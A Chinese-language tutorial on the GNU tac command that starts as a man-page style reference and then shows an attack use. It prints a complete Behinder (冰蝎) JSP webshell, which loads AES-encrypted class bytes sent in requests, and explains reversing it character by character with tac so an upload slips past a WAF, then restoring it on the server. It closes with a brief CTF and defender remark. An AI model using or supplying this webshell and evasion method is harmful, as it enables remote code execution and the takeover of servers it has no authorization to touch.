目录导航
tac命令简介
连接多个文件并以行为单位反向打印到标准输出。
概要
tac [OPTION]... [FILE]...
主要用途
- 按行为单位反向显示文件内容,如果没有文件或文件为
-
则读取标准输入。 - 处理多个文件时,依次将每个文件反向显示,而不是将所有文件连在一起再反向显示。
参数
FILE(可选):要处理的文件,可以为一或多个。
选项
长选项与短选项等价
-b, --before 在之前而不是之后连接分隔符。
-r, --regex 将分隔符作为基础正则表达式(BRE)处理。
-s, --separator=STRING 使用STRING作为分隔符代替默认的换行符。
--help 显示帮助信息并退出。
--version 显示版本信息并退出。
返回值
返回状态为成功除非给出了非法选项或非法参数。
例子
# 选自官方info文档的例子:
# 一个接着一个字符的反转一个文件:
tac -r -s 'x\|[^x]' test.log
# 关于-b选项:
seq 1 3 |tac
# 输出
3
2
1
# 使用-b选项:
seq 1 3 |tac -b
# 输出,注意21后面没有换行符:
3
21
# 前一个例子相当于将 '1\n2\n3\n' 转换为 '3\n2\n1\n'
# 前一个例子相当于将 '1\n2\n3\n' 转换为 '\n\n3\n21'
注意
- 该命令是
GNU coreutils
包中的命令,相关的帮助信息请查看man -s 1 tac
或info coreutils 'tac invocation'
。 - 关于基础正则表达式(BRE)的内容,详见
man -s 1 grep
的REGULAR EXPRESSIONS
段落。
使用示例[举个例子]
新建一个名为a的文件,如下所示:
admin
A
B
C
D
E
tac a
使用tac命令后将会变成这样的:
E
D
C
B
A
admin
对比一下cat和tac
也可以反转每一个字符,例如文件a是admin,可以反转为nimda
tac -r -s 'x\|[^x]' a
如下所示是一个正常的冰蝎马[jsp]
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>
直接上传可能会被waf拦截,我们可以使用tac命令将其逐字符反转,命令如下
tac -r -s 'x\|[^x]' shell.jsp >> 2.jsp
2.jsp现在如下所示,这样反转过的jsp木马waf未必会拦截:
>%;)txetnoCegap(slauqe.)(ecnatsnIwen.))))(eniLdaer.)(redaeRteg.tseuqer(reffuBedoced.)(redoceD46ESAB.csim.nus wen(laniFod.c(g.))(redaoLssalCteg.)(ssalCteg.siht(U wen;))"SEA",)(setyBteg.)""+)"u"(eulaVteg.noisses((cepSyeKterceS wen,2(tini.c;)"SEA"(ecnatsnIteg.rehpiC=c rehpiC};nruter;)k(tnirp.tuo;)k,"u"(eulaVtup.noisses;)61(gnirtsbus.)"","-"(ecalper.))(DIUUmodnar.DIUU+""(=k gnirtS{)llun=!)"ssap"(retemaraPteg.tseuqer(fi%<>%}};)htgnel.b,0,b(ssalCenifed.repus nruter{)b][ etyb(g ssalC cilbup};)c(repus{)c redaoLssalC(U{redaoLssalC sdnetxe U ssalc!%<>%"*.ceps.otpyrc.xavaj,*.otpyrc.xavaj,*.litu.avaj"=tropmi egap@%<
如果成功上传/创建了这样反转的webshell,接下来再次反转变成正常的webshell,中间的waf就相当于绕过了.
当然,也可以其他方式使用.
日常生活中可以用它反转后看日志.
CTF中一般会出这种题.
…
防守方应该禁用此类奇奇怪怪的命令,以免root权限不保.
转载请注明出处及链接